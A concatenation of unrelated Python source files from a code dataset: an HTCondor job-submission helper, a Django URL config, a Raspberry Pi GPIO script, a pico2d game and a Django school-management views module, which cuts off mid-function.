len(self.clusterids_finished)) becomes the number\n # of the successfully finished jobs\n for i in runids:\n try:\n self.clusterids_finished.remove(i)\n except ValueError:\n pass\n\n def terminate(self):\n n_at_a_time = 500\n ids_split = [self.clusterids_outstanding[i:(i + n_at_a_time)] for i in range(0, len(self.clusterids_outstanding), n_at_a_time)]\n statuses = [ ]\n for ids_sub in ids_split:\n procargs = ['condor_rm'] + ids_sub\n stdout = try_executing_until_succeed(procargs)\n\n##__________________________________________________________________||\ndef try_executing_until_succeed(procargs):\n\n sleep = 2\n logger = logging.getLogger(__name__)\n\n while True:\n\n # logging\n ellipsis = '...(({} letters))...'\n nfirst = 50\n nlast = 50\n command_display = '{} {}'.format(procargs[0], ' '.join([repr(a) for a in procargs[1:]]))\n if len(command_display) > nfirst + len(ellipsis) + nlast:\n command_display = '{}...(({} letters))...{}'.format(\n command_display[:nfirst],\n len(command_display) - (nfirst + nlast),\n command_display[-nlast:]\n )\n logger.debug('execute: {}'.format(command_display))\n\n #\n proc = subprocess.Popen(\n procargs,\n stdout = subprocess.PIPE, stderr = subprocess.PIPE\n )\n stdout, stderr = proc.communicate()\n success = not (proc.returncode or stderr)\n\n #\n if success: break\n\n #\n if stderr: logger.warning(stderr.strip())\n logger.warning('the command failed: {}. will try again in {} seconds'.format(command_display, sleep))\n\n #\n time.sleep(sleep)\n\n if not stdout: return [ ]\n return stdout.rstrip().split('\\n')\n\n##__________________________________________________________________||\ndef query_status_for(ids):\n\n n_at_a_time = 500\n ids_split = [ids[i:(i + n_at_a_time)] for i in range(0, len(ids), n_at_a_time)]\n stdout = [ ]\n for ids_sub in ids_split:\n procargs = ['condor_q'] + ids_sub + ['-format', '%-2s ', 'ClusterId', '-format', '%-2s\\n', 'JobStatus']\n stdout.extend(try_executing_until_succeed(procargs))\n\n # e.g., stdout = ['688244 1 ', '688245 1 ', '688246 2 ']\n\n ret = [l.strip().split() for l in stdout]\n # e.g., [['688244', '1'], ['688245', '1'], ['688246', '2']]\n\n ret = [[e[0], int(e[1])] for e in ret]\n # a list of [clusterid, status]\n # e.g., [['688244', 1], ['688245', 1], ['688246', 2]]\n\n return ret\n\n##__________________________________________________________________||\ndef change_job_priority(ids, priority = 10):\n\n # http://research.cs.wisc.edu/htcondor/manual/v7.8/2_6Managing_Job.html#sec:job-prio\n\n n_at_a_time = 500\n ids_split = [ids[i:(i + n_at_a_time)] for i in range(0, len(ids), n_at_a_time)]\n for ids_sub in ids_split:\n procargs = ['condor_prio', '-p', str(priority)] + ids_sub\n try_executing_until_succeed(procargs)\n\n##__________________________________________________________________||\ndef sample_ids(n = -1):\n # to be deleted\n\n procargs = ['condor_q', '-format', '%-2s\\n', 'ClusterId']\n stdout = try_executing_until_succeed(procargs)\n sample_ids = [l.strip() for l in stdout]\n\n if n == -1:\n return sample_ids\n\n sample_ids = sample_ids[0:n] if len(sample_ids) >= n else sample_ids\n return sample_ids\n\n##__________________________________________________________________||\n","sub_path":"alphatwirl/concurrently/HTCondorJobSubmitter.py","file_name":"HTCondorJobSubmitter.py","file_ext":"py","file_size_in_byte":8318,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"524662650","text":"def load(path):\n user_list = []\n with open(path, \"r\") as users:\n for user in users:\n user = user.replace(\"\\n\", \"\")\n user = user.split(\",\")\n user[2] = bool(int(user[2]))\n if not user[-1].__eq__(''):\n user.append({'SEX': bool(int(user.pop()))})\n else:\n user.pop()\n user_list.append(user)\n return user_list\n","sub_path":"FileIO/LoadUser.py","file_name":"LoadUser.py","file_ext":"py","file_size_in_byte":416,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"272479137","text":"# coding=utf-8\n\nfrom django.conf.urls import url, include\nfrom .views import *\n\nurlpatterns = [\n url(r'^$', BlogPostListView.as_view()),\n url(r'^blog/$', BlogPostListView.as_view()),\n url(r'^blog/(?P\\d+)/$', blog_detail),\n url(r'^blog_edit/(?P\\w+)/$', blog_edit, name=\"blog_edit\"),\n url(r'^blog_new/$', blog_new, name='blog_new'),\n url(r'^blog_hidden/(?P\\w+)/(?P\\w+)/$',\n blog_hidden, name='blog_hidden'),\n url(r'^arhive_news/$', BlogPostArhiveListView.as_view()),\n url(r'^blog/category/(?P\\d+)/$', BlogPostListViewTag.as_view()),\n]\n","sub_path":"force_blog/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":607,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"421300919","text":"#!/usr/bin/env python3\n\nimport RPi.GPIO as GPIO\nimport time\n\nGPIO_BCM_PIN = 6 \n\ndef my_callback(chanel):\n print(\"called back:\" + str(chanel))\n\nGPIO.setmode(GPIO.BCM)\nGPIO.setup(GPIO_BCM_PIN, GPIO.IN, pull_up_down=GPIO.PUD_DOWN)\n\nGPIO.add_event_detect(GPIO_BCM_PIN, GPIO.RISING, callback=my_callback, bouncetime=300)\n\nwhile(True):\n time.sleep(1)\n print(\"value of pin \" + str(GPIO_BCM_PIN) + \" = \" + str(GPIO.input(GPIO_BCM_PIN)))\n\n","sub_path":"gpio_interupt.py","file_name":"gpio_interupt.py","file_ext":"py","file_size_in_byte":439,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"76485769","text":"from .database import Database\nfrom .preferences import Preferences\nfrom .session import SessionManager\nfrom .registry import Registry\n\ndb = Database()\npreferences = Preferences(db)\nsessionManager = SessionManager(db)\nregistry = Registry()\n\n\ndef register(name, prefs=None):\n def decorator(func):\n registry.register(name, func)\n if prefs:\n preferences.register(name, prefs)\n return decorator\n","sub_path":"gamelib/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":422,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"51972048","text":"import random\nimport json\nimport os\n\nfrom pico2d import *\nimport game_framework\nimport game_world\n\nfrom boy import Boy\nfrom grass import Grass\nfrom ball import Ball,BigBall\nfrom brick import Brick\nfrom bigball import BigBall\n\nname = \"MainState\"\n\nboy = None\ngrass = None\nballs = []\n\n\n\ndef collide(a, b):\n left_a,bottom_a,right_a,top_a=a.get_bb()\n left_b,bottom_b,right_b,top_b=b.get_bb()\n\n if left_a>right_b:return False\n if right_atop_b:return False\n return True\n\n\n\n\ndef enter():\n global boy\n boy = Boy()\n game_world.add_object(boy, 1)\n\n global grass\n grass = Grass()\n game_world.add_object(grass, 0)\n\n # fill here for balls\n global balls\n balls=[Ball() for i in range(10)] + [BigBall() for i in range(20)]\n game_world.add_objects(balls,1)\n\n global bricks\n bricks =Brick()\n game_world.add_object(bricks,0)\n\n\ndef exit():\n game_world.clear()\ndef pause():\n pass\ndef resume():\n pass\ndef handle_events():\n events = get_events()\n for event in events:\n if event.type == SDL_QUIT:\n game_framework.quit()\n elif event.type == SDL_KEYDOWN and event.key == SDLK_ESCAPE:\n game_framework.quit()\n else:\n boy.handle_event(event)\n\n\ndef update():\n for game_object in game_world.all_objects():\n game_object.update()\n\n # fill here for collision check\n for ball in balls:\n if collide(boy,ball):\n print(\"COLLISION\")\n balls.remove(ball)\n game_world.remove_object(ball)\n if collide(bricks,ball):\n ball.stop()\n ball.x+=bricks.dir*5\n\n if collide(boy,bricks):\n boy.x+=bricks.dir*5\n boy.jumpY=0\n else:\n if boy.jumpY == 0 and boy.y != 90:\n boy.jumpY = -1\n delay(0.01)\n\ndef draw():\n clear_canvas()\n for game_object in game_world.all_objects():\n game_object.draw()\n update_canvas()\n\n\n\n\n\n\n","sub_path":"Drill-11/main_state.py","file_name":"main_state.py","file_ext":"py","file_size_in_byte":1998,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"587377925","text":"from django.shortcuts import render, HttpResponseRedirect, Http404,redirect\r\nfrom dashboard.models import Student,Teacher,Users,Department,Course,Attendence,Timetable,TimetableDetails,Announcements,Assignments,AssignmentDetails,Quiz,QuizDetails,QuestionAnswer,Answer,MCQANSWERS\r\nfrom django.contrib.auth.models import User, auth\r\nfrom .forms import CourseForm,DepartmentForm,AnnouncementForm,AssignmentForm\r\nfrom collections import Counter\r\nimport numpy as np\r\nimport datetime\r\n# Create your views here.\r\n\r\n\r\n\r\ndef Home(request):\r\n\r\n context = locals()\r\n return render(request,'dashboard.html',context)\r\n\r\ndef StudentDashboard(request):\r\n\r\n now = datetime.datetime.now()\r\n Today = now.strftime(\"%A\") \r\n now1 = str(now)\r\n now2 = now1.split(\" \")[1]\r\n print(now2)\r\n\r\n user1 = request.user\r\n std = Student.objects.filter(id=user1.id).first()\r\n TD = TimetableDetails.objects.all()\r\n\r\n for cs1 in std.Courses.all():\r\n for t in TD:\r\n if cs1 == t.Course and t.Time==\"8:30 - 9:20\" and t.Day==Today:\r\n print(str(cs1) + \" class at \"+str(t.Time))\r\n elif cs1 == t.Course and t.Time==\"9:20 - 10:10\" and t.Day==Today:\r\n print(str(cs1) + \" class at \"+str(t.Time))\r\n elif cs1 == t.Course and t.Time==\"10:10 - 11:00\" and t.Day==Today:\r\n print(str(cs1) + \" class at \"+str(t.Time))\r\n\r\n\r\n context = {'std':std,\"TD\":TD,\"Today\":Today}\r\n\r\n return render(request,'SDashboard.html',context)\r\n\r\ndef TeacherDashboard(request):\r\n\r\n now = datetime.datetime.now()\r\n Today = now.strftime(\"%A\") \r\n now1 = str(now)\r\n now2 = now1.split(\" \")[1]\r\n print(now2)\r\n\r\n user1 = request.user\r\n std = Teacher.objects.filter(id=user1.id).first()\r\n TD = TimetableDetails.objects.all()\r\n\r\n for cs1 in std.Courses.all():\r\n for t in TD:\r\n if cs1 == t.Course and t.Time==\"8:30 - 9:20\" and t.Day==Today:\r\n print(str(cs1) + \" class at \"+str(t.Time))\r\n elif cs1 == t.Course and t.Time==\"9:20 - 10:10\" and t.Day==Today:\r\n print(str(cs1) + \" class at \"+str(t.Time))\r\n elif cs1 == t.Course and t.Time==\"10:10 - 11:00\" and t.Day==Today:\r\n print(str(cs1) + \" class at \"+str(t.Time))\r\n\r\n\r\n context = {'std':std,\"TD\":TD,\"Today\":Today}\r\n\r\n return render(request,'Tdashboard.html',context)\r\n\r\n\r\ndef LoginPage(request):\r\n\r\n if request.method == \"POST\":\r\n\r\n username = request.POST['username']\r\n password = request.POST['password']\r\n\r\n user = auth.authenticate(username=username,password=password)\r\n\r\n if user is not None:\r\n auth.login(request,user)\r\n if user.user_type == 1:\r\n print('Student Login')\r\n return redirect('StudentDashboard')\r\n\r\n if user.user_type == 2:\r\n print('Teacher Login')\r\n return redirect('TeacherDashboard')\r\n\r\n if user.is_superuser:\r\n print('Admin Login')\r\n return redirect('Dashboard')\r\n\r\n else:\r\n return redirect('login')\r\n\r\n else:\r\n\r\n context = locals()\r\n\r\n return render(request,'registration/login.html',context)\r\n\r\n\r\ndef Logout(request):\r\n\r\n auth.logout(request)\r\n return redirect('login')\r\n\r\n# TIMETABLE\r\n\r\ndef CreateTimetable(request):\r\n\r\n crs = Course.objects.all()\r\n Teach = Teacher.objects.all()\r\n\r\n TT = Timetable.objects.all()\r\n TD = TimetableDetails.objects.all()\r\n\r\n if request.user.user_type == 1:\r\n base_template = 'SDashboard.html'\r\n\r\n elif request.user.user_type == 2:\r\n base_template = 'TDashboard.html'\r\n\r\n elif request.user.is_superuser:\r\n base_template = 'dashboard.html'\r\n\r\n context = {'std':crs,'base_template':base_template,'t':Teach,'TT':TT,'TD':TD}\r\n return render(request,'admin_tools/create_timetable.html',context)\r\n\r\ndef AddCoursesToTimetable(request):\r\n\r\n crs = Course.objects.all()\r\n Teach = Teacher.objects.all()\r\n course_value = request.POST.get('change1')\r\n \r\n if request.user.user_type == 1:\r\n base_template = 'SDashboard.html'\r\n\r\n elif request.user.user_type == 2:\r\n base_template = 'TDashboard.html'\r\n\r\n elif request.user.is_superuser:\r\n base_template = 'dashboard.html'\r\n\r\n context = {'all_c':crs,'base_template':base_template,'t':Teach,'cv':course_value}\r\n return render(request,'admin_tools/addCourse_timetable.html',context)\r\n\r\n\r\ndef AddCoursesToTimetable1(request,pk,pk1):\r\n\r\n my_t = Teacher.objects.all()\r\n\r\n day = pk.split(\" \")[0]\r\n print(day)\r\n times = pk.split(\" \")[1:4]\r\n time1 = ' '.join(str(e) for e in times)\r\n print(time1)\r\n\r\n courses = pk.split(\" \")[4:5]\r\n\r\n t1 = ' '.join(str(e) for e in courses)\r\n\r\n c1 = str(t1) + \" \" + str(pk1)\r\n print(\"pk1 is --> \" + str(c1))\r\n\r\n tch = []\r\n cc = []\r\n for tchrs in my_t:\r\n for tc in tchrs.Courses.all():\r\n if tc.Course_Name == c1:\r\n print(tchrs.Name)\r\n print(tc.Course_Name)\r\n tch.append(tchrs.Name)\r\n\r\n my_c1 = Course.objects.filter(Course_Name=c1).first()\r\n my_t1 = Teacher.objects.filter(Name=tch[0]).first()\r\n\r\n if Timetable.objects.filter(Day=day):\r\n print(\"Yes this day is in timetable\")\r\n \r\n tt1 = Timetable.objects.get(Day=day)\r\n\r\n if TimetableDetails.objects.filter(Time=time1,Day=day):\r\n tt2 = TimetableDetails.objects.get(Time=time1,Day=day)\r\n tt2.Course = my_c1\r\n tt2.teacher = my_t1\r\n tt2.save()\r\n tt1.Details.add(tt2)\r\n print(\"Yes this time is added in Timetable\")\r\n\r\n else:\r\n tt3 = TimetableDetails.objects.create(Time=time1,Course = my_c1,teacher=my_t1,Day=day)\r\n tt1.Details.add(tt3)\r\n print(\"Yes this time is added in Timetable\")\r\n\r\n else:\r\n tt1 = Timetable.objects.create(Day=day)\r\n print(\"Yes this day is added in Timetable\")\r\n\r\n if TimetableDetails.objects.filter(Time=time1,Day=day):\r\n tt2 = TimetableDetails.objects.get(Time=time1,Day=day)\r\n tt2.Course = my_c1\r\n tt2.teacher = my_t1\r\n tt2.save()\r\n\r\n tt1.Details.add(tt2)\r\n print(\"Yes this time is added in Timetable\")\r\n\r\n else:\r\n tt2 = TimetableDetails.objects.create(Time=time1,Course = my_c1,teacher=my_t1,Day=day)\r\n tt1.Details.add(tt2)\r\n print(\"Yes this time is added in Timetable\")\r\n\r\n\r\n if request.user.user_type == 1:\r\n base_template = 'SDashboard.html'\r\n\r\n elif request.user.user_type == 2:\r\n base_template = 'TDashboard.html'\r\n\r\n elif request.user.is_superuser:\r\n base_template = 'dashboard.html'\r\n\r\n return redirect('createtimetable')\r\n\r\n\r\ndef ViewTimetable(request):\r\n\r\n crs = Course.objects.all()\r\n Teach = Teacher.objects.all()\r\n\r\n if request.user.user_type == 1:\r\n base_template = 'SDashboard.html'\r\n\r\n elif request.user.user_type == 2:\r\n base_template = 'TDashboard.html'\r\n\r\n elif request.user.is_superuser:\r\n base_template = 'dashboard.html'\r\n\r\n context = {'std':crs,'base_template':base_template,'t':Teach}\r\n return render(request,'admin_tools/timetable.html',context)\r\n\r\n\r\n# STUDENT ACCOUNT\r\n\r\ndef ViewStudentCourses(request,pk):\r\n\r\n std = Student.objects.filter(id=pk).first()\r\n t = Teacher.objects.all()\r\n\r\n if request.user.user_type == 1:\r\n base_template = 'SDashboard.html'\r\n\r\n elif request.user.user_type == 2:\r\n base_template = 'TDashboard.html'\r\n\r\n elif request.user.is_superuser:\r\n base_template = 'dashboard.html'\r\n\r\n context = {'std':std,'base_template':base_template,'t':t}\r\n return render(request,'students/student_courses.html',context)\r\n\r\ndef ViewStudentCoursesDetails(request,pk,pk1):\r\n\r\n std = Student.objects.filter(id=pk).first()\r\n crs = Course.objects.filter(id=pk1).first()\r\n t = Teacher.objects.all()\r\n\r\n if request.user.user_type == 1:\r\n base_template = 'SDashboard.html'\r\n\r\n elif request.user.user_type == 2:\r\n base_template = 'TDashboard.html'\r\n\r\n elif request.user.is_superuser:\r\n base_template = 'dashboard.html'\r\n\r\n context = {'std':std,'cs':crs,'base_template':base_template,'t':t}\r\n return render(request,'students/student_courseDetails.html',context)\r\n\r\n# TEACHER ACCOUNT\r\n\r\ndef ViewTeacherCoursesDetails(request,pk):\r\n\r\n user1 = request.user\r\n tch = Teacher.objects.filter(id=user1.id).first()\r\n crs = Course.objects.filter(id=pk).first()\r\n\r\n if request.user.user_type == 1:\r\n base_template = 'SDashboard.html'\r\n\r\n elif request.user.user_type == 2:\r\n base_template = 'TDashboard.html'\r\n\r\n elif request.user.is_superuser:\r\n base_template = 'dashboard.html'\r\n\r\n std = Student.objects.all()\r\n\r\n sec_array = []\r\n\r\n for st in std:\r\n for sc in st.Courses.all():\r\n for tc in tch.Courses.all():\r\n if sc == tc:\r\n sec_array.append(st.Section)\r\n\r\n print(list(set(sec_array)))\r\n my_sec = list(set(sec_array))\r\n\r\n context = {'tch':tch,'cs':crs,'sec':my_sec,'base_template':base_template}\r\n return render(request,'teachers/teacher_courseDetails.html',context)\r\n\r\ndef CourseGrades(request,pk,pk1):\r\n\r\n user1 = request.user\r\n\r\n tch = Student.objects.filter(id=user1.id).first()\r\n crs = Course.objects.filter(id=pk).first()\r\n qs1 = QuizDetails.objects.filter(student=tch).all()\r\n ass1 = AssignmentDetails.objects.filter(student=tch).all()\r\n\r\n for q in qs1:\r\n print(q.student)\r\n print(q.Scored)\r\n\r\n\r\n print(\"Section is --> \" + str(pk1))\r\n\r\n if request.user.user_type == 1:\r\n base_template = 'SDashboard.html'\r\n\r\n elif request.user.user_type == 2:\r\n base_template = 'TDashboard.html'\r\n\r\n elif request.user.is_superuser:\r\n base_template = 'dashboard.html'\r\n\r\n context = {'std':tch,'cs':crs,'sec':pk1,'q1':qs1,'base_template':base_template}\r\n return render(request,'students/CourseGrades.html',context)\r\n\r\ndef Coursepeoples(request,pk,pk1):\r\n\r\n user1 = request.user\r\n\r\n tch = Teacher.objects.filter(id=user1.id).first()\r\n crs = Course.objects.filter(id=pk).first()\r\n stds = Student.objects.all() \r\n\r\n print(\"Section is --> \" + str(pk1))\r\n\r\n if request.user.user_type == 1:\r\n base_template = 'SDashboard.html'\r\n\r\n elif request.user.user_type == 2:\r\n base_template = 'TDashboard.html'\r\n\r\n elif request.user.is_superuser:\r\n base_template = 'dashboard.html'\r\n\r\n context = {'tch':tch,'std':stds,'cs':crs,'sec':pk1,'base_template':base_template}\r\n return render(request,'teachers/CoursePeoples.html',context)\r\n\r\n\r\ndef CreateAnnouncements(request,pk,pk1):\r\n\r\n user1 = request.user\r\n t = Teacher.objects.filter(id=user1.id).first()\r\n crs = Course.objects.filter(id=pk).first()\r\n print(\"Section is --> \" + str(pk1))\r\n\r\n AnnounceForm = AnnouncementForm(request.POST)\r\n\r\n if AnnounceForm.is_valid():\r\n obj = AnnounceForm.save(commit=False)\r\n obj.teacher = t\r\n obj.Course = crs\r\n obj.Section = pk1\r\n obj.save()\r\n\r\n return redirect('CreateAnnouncements',pk,pk1)\r\n\r\n if request.user.user_type == 1:\r\n base_template = 'SDashboard.html'\r\n\r\n elif request.user.user_type == 2:\r\n base_template = 'TDashboard.html'\r\n\r\n elif request.user.is_superuser:\r\n base_template = 'dashboard.html'\r\n\r\n context = {'cs':crs,'base_template':base_template,'t':t,'form':AnnounceForm,'s':pk1}\r\n return render(request,'teachers/TeacherAnnouncements.html',context)\r\n\r\ndef SeePeoples(request,pk):\r\n\r\n user1 = request.user\r\n\r\n tch = Student.objects.filter(id=user1.id).first()\r\n crs = Course.objects.filter(id=pk).first()\r\n stds = Student.objects.all() \r\n\r\n p = []\r\n for s in stds:\r\n for cs in s.Courses.all():\r\n if cs == crs and s.Section == tch.Section:\r\n print(s.name)\r\n p.append(s)\r\n\r\n print(\"Section is --> \" + str(tch.Section))\r\n\r\n if request.user.user_type == 1:\r\n base_template = 'SDashboard.html'\r\n\r\n elif request.user.user_type == 2:\r\n base_template = 'TDashboard.html'\r\n\r\n elif request.user.is_superuser:\r\n base_template = 'dashboard.html'\r\n\r\n context = {'tch':tch,'p':p,'sec':tch.Section,'base_template':base_template}\r\n return render(request,'students/SeeCoursePeoples.html',context)\r\n\r\ndef SeeAnnouncements(request,pk,pk1):\r\n\r\n user1 = request.user\r\n t = Student.objects.filter(id=user1.id).first()\r\n crs = Course.objects.filter(id=pk).first()\r\n tch = Teacher.objects.all()\r\n\r\n teach = []\r\n\r\n for tc in tch:\r\n for c in tc.Courses.all():\r\n if c == crs:\r\n teach.append(tc)\r\n\r\n print(teach[0])\r\n t1 = teach[0]\r\n print(\"Section is --> \" + str(pk1))\r\n\r\n Announce = Announcements.objects.filter(teacher=t1,Course=crs,Section=pk1)\r\n\r\n if request.user.user_type == 1:\r\n base_template = 'SDashboard.html'\r\n\r\n elif request.user.user_type == 2:\r\n base_template = 'TDashboard.html'\r\n\r\n elif request.user.is_superuser:\r\n base_template = 'dashboard.html'\r\n\r\n context = {'cs':crs,'base_template':base_template,'s':pk1,'teacher':t1,'Announce':Announce}\r\n return render(request,'students/StdAnnouncements.html',context)\r\n\r\ndef viewtimetable(request):\r\n\r\n if request.user.user_type == 1:\r\n base_template = 'SDashboard.html'\r\n\r\n elif request.user.user_type == 2:\r\n base_template = 'TDashboard.html'\r\n\r\n elif request.user.is_superuser:\r\n base_template = 'dashboard.html'\r\n\r\n context = locals()\r\n return render(request,'admin_tools/timetable.html',context)\r\n\r\n\r\ndef SeeAttendence(request,pk):\r\n\r\n user1 = request.user\r\n t = Student.objects.filter(id=user1.id).first()\r\n crs = Course.objects.filter(id=pk).first()\r\n tch = Teacher.objects.all()\r\n\r\n teach = []\r\n for tc in tch:\r\n for c in tc.Courses.all():\r\n if c == crs:\r\n teach.append(tc)\r\n\r\n print(teach[0])\r\n t1 = teach[0]\r\n\r\n now = datetime.datetime.now()\r\n Today = now.strftime(\"%A\") \r\n now1 = str(now)\r\n now2 = now1.split(\" \")[1]\r\n date_today = now1.split(\" \")[0]\r\n\r\n print(now2)\r\n print(now1)\r\n print(Today)\r\n print(date_today)\r\n\r\n attnd = Attendence.objects.filter(Course=crs,student=t,teacher=t1,Date=date_today)\r\n\r\n if request.user.user_type == 1:\r\n base_template = 'SDashboard.html'\r\n\r\n elif request.user.user_type == 2:\r\n base_template = 'TDashboard.html'\r\n\r\n elif request.user.is_superuser:\r\n base_template = 'dashboard.html'\r\n\r\n context = {'cs':crs,'base_template':base_template,'student':t,'teacher':t1,'Attnd':attnd}\r\n return render(request,'students/StdAttnd.html',context)\r\n\r\ndef TeacherAllAssignments(request,pk,pk1):\r\n\r\n user1 = request.user\r\n st = Teacher.objects.filter(id=user1.id).first()\r\n crs = Course.objects.filter(id=pk).first()\r\n tch = Teacher.objects.all()\r\n print(pk1)\r\n\r\n ass1 = Assignments.objects.filter(teacher=st,Course=crs,Section=pk1)\r\n\r\n if request.user.user_type == 1:\r\n base_template = 'SDashboard.html'\r\n\r\n elif request.user.user_type == 2:\r\n base_template = 'TDashboard.html'\r\n\r\n elif request.user.is_superuser:\r\n base_template = 'dashboard.html'\r\n\r\n context = {'cs':crs,'base_template':base_template,'student':st,'ass':ass1,'s':pk1}\r\n return render(request,'teachers/TeacherSeeAssign.html',context)\r\n\r\ndef TeacherAssigDetail(request,pk):\r\n\r\n user1 = request.user\r\n st = Teacher.objects.filter(id=user1.id).first()\r\n ass1 = Assignments.objects.filter(id=pk).first()\r\n\r\n if request.user.user_type == 1:\r\n base_template = 'SDashboard.html'\r\n\r\n elif request.user.user_type == 2:\r\n base_template = 'TDashboard.html'\r\n\r\n elif request.user.is_superuser:\r\n base_template = 'dashboard.html'\r\n\r\n context = {'base_template':base_template,'teacher':st,'ass':ass1}\r\n return render(request,'teachers/TeacherAssigDetail.html',context)\r\n\r\ndef SeeAssignment(request,pk,pk1):\r\n\r\n user1 = request.user\r\n st = Student.objects.filter(id=user1.id).first()\r\n crs = Course.objects.filter(id=pk).first()\r\n tch = Teacher.objects.all()\r\n print(pk1)\r\n\r\n teach = []\r\n for tc in tch:\r\n for c in tc.Courses.all():\r\n if c == crs:\r\n teach.append(tc)\r\n\r\n print(teach[0])\r\n t1 = teach[0]\r\n\r\n ass1 = Assignments.objects.filter(teacher=t1,Course=crs,Section=pk1)\r\n ass2 = Assignments.objects.filter(teacher=t1,Course=crs,Section=pk1).first()\r\n \r\n\r\n if request.user.user_type == 1:\r\n base_template = 'SDashboard.html'\r\n\r\n elif request.user.user_type == 2:\r\n base_template = 'TDashboard.html'\r\n\r\n elif request.user.is_superuser:\r\n base_template = 'dashboard.html'\r\n\r\n context = {'cs':crs,'base_template':base_template,'student':st,'ass':ass1}\r\n return render(request,'students/SeeAssign.html',context)\r\n\r\ndef ViewStdAssign(request,pk):\r\n\r\n user1 = request.user\r\n tch = Teacher.objects.filter(id=user1.id).first()\r\n assdetail = AssignmentDetails.objects.filter(id=pk).first()\r\n\r\n mymarks = request.POST.get('marks',None)\r\n myRemarks = request.POST.get('Remarks',None)\r\n print(mymarks)\r\n print(myRemarks)\r\n\r\n if mymarks == None and myRemarks == None:\r\n print(\"Nothing performed..!\")\r\n else:\r\n assdetail = AssignmentDetails.objects.filter(id=pk).update(Remarks=myRemarks,Scored=mymarks)\r\n assdetail = AssignmentDetails.objects.filter(id=pk).first()\r\n\r\n if request.user.user_type == 1:\r\n base_template = 'SDashboard.html'\r\n\r\n elif request.user.user_type == 2:\r\n base_template = 'TDashboard.html'\r\n\r\n elif request.user.is_superuser:\r\n base_template = 'dashboard.html'\r\n\r\n context = {'base_template':base_template,'teacher':tch,'ass':assdetail}\r\n return render(request,'teachers/ViewStdAssign.html',context)\r\n\r\n\r\ndef SeeAssignmentDetail(request,pk):\r\n\r\n user1 = request.user\r\n st = Student.objects.filter(id=user1.id).first()\r\n ass1 = Assignments.objects.filter(id=pk).first()\r\n\r\n mysubDet = request.POST.get('description')\r\n myfiles = request.FILES.get('myfile')\r\n\r\n print(mysubDet)\r\n print(myfiles)\r\n\r\n assdetail1 = \"\"\r\n if mysubDet == None and myfiles == None:\r\n print(\"Nothing performed..!\") \r\n\r\n elif AssignmentDetails.objects.filter(Assignment=ass1,student=st).first():\r\n assdetail1 = AssignmentDetails.objects.filter(Assignment=ass1,student=st).first()\r\n assdetail1.Sub_Details = mysubDet\r\n assdetail1.Submission = myfiles\r\n assdetail1.save()\r\n print(\"Modefification Done...!!\")\r\n\r\n elif ass1.DoesNotExist:\r\n assdetail = AssignmentDetails.objects.create(Assignment=ass1,student=st,Submission=myfiles,Sub_Details=mysubDet,status=\"Submitted\")\r\n ass1.AssignDetails.add(assdetail)\r\n print(\"Created...!!\")\r\n\r\n if request.user.user_type == 1:\r\n base_template = 'SDashboard.html'\r\n\r\n elif request.user.user_type == 2:\r\n base_template = 'TDashboard.html'\r\n\r\n elif request.user.is_superuser:\r\n base_template = 'dashboard.html'\r\n\r\n if AssignmentDetails.objects.filter(Assignment=ass1,student=st).first():\r\n context = {'base_template':base_template,'ass':ass1,'ass1':assdetail1}\r\n else:\r\n context = {'base_template':base_template,'ass':ass1}\r\n \r\n return render(request,'students/SeeAssignDetails.html',context)\r\n\r\ndef UpdateStdAssignment(request,pk):\r\n\r\n user1 = request.user\r\n st = Student.objects.filter(id=user1.id).first()\r\n ass1 = AssignmentDetails.objects.filter(id=pk).first()\r\n\r\n mysubDet1 = ass1.Sub_Details\r\n myfiles1 = ass1.Submission\r\n print(mysubDet1)\r\n\r\n mysubDet = request.POST.get('description',mysubDet1)\r\n myfiles = request.FILES.get('myfile',myfiles1)\r\n\r\n # myid =0\r\n # for asg in ass2:\r\n # if asg.AssignDetails == ass1:\r\n # print(\"Yes Found it\")\r\n # myid = asg.id\r\n\r\n myid = ass1.Assignment.id\r\n print(myid)\r\n\r\n assdetail = AssignmentDetails.objects.update(student=st,Submission=myfiles,Sub_Details=mysubDet,status=\"Submitted\")\r\n \r\n print(mysubDet)\r\n print(myfiles)\r\n print(myid)\r\n\r\n ass1.Submission = myfiles\r\n ass1.Sub_Details = mysubDet\r\n print(\"Created...!!\")\r\n\r\n if request.user.user_type == 1:\r\n base_template = 'SDashboard.html'\r\n\r\n elif request.user.user_type == 2:\r\n base_template = 'TDashboard.html'\r\n\r\n elif request.user.is_superuser:\r\n base_template = 'dashboard.html'\r\n \r\n return redirect('SeeAssignmentDetail',myid)\r\n\r\ndef TchQuiz(request,pk,pk1):\r\n\r\n user1 = request.user\r\n t = Teacher.objects.filter(id=user1.id).first()\r\n crs = Course.objects.filter(id=pk).first()\r\n q1 = Quiz.objects.filter(teacher=t,Course=crs)\r\n\r\n print(\"Section is --> \" + str(pk1))\r\n\r\n if request.user.user_type == 1:\r\n base_template = 'SDashboard.html'\r\n\r\n elif request.user.user_type == 2:\r\n base_template = 'TDashboard.html'\r\n\r\n elif request.user.is_superuser:\r\n base_template = 'dashboard.html'\r\n\r\n context = {'cs':crs,'base_template':base_template,'t':t,'s':pk1,\"q\":q1}\r\n return render(request,'teachers/TchQuiz.html',context)\r\n\r\ndef ViewStdQuiz(request,pk,pk1):\r\n\r\n user1 = request.user\r\n t = Student.objects.filter(id=user1.id).first()\r\n cs = Course.objects.filter(id=pk).first()\r\n q1 = Quiz.objects.filter(Course=cs,Section=t.Section)\r\n\r\n print(\"Section is --> \" + str(pk1))\r\n\r\n if request.user.user_type == 1:\r\n base_template = 'SDashboard.html'\r\n\r\n elif request.user.user_type == 2:\r\n base_template = 'TDashboard.html'\r\n\r\n elif request.user.is_superuser:\r\n base_template = 'dashboard.html'\r\n\r\n context = {'base_template':base_template,'t':t,'s':pk1,\"q\":q1,\"cs\":cs}\r\n return render(request,'students/ViewStdQuiz.html',context)\r\n\r\ndef StartQuiz(request,pk):\r\n\r\n user1 = request.user\r\n t = Student.objects.filter(id=user1.id).first()\r\n q1 = Quiz.objects.filter(id=pk).first()\r\n nextBtn = 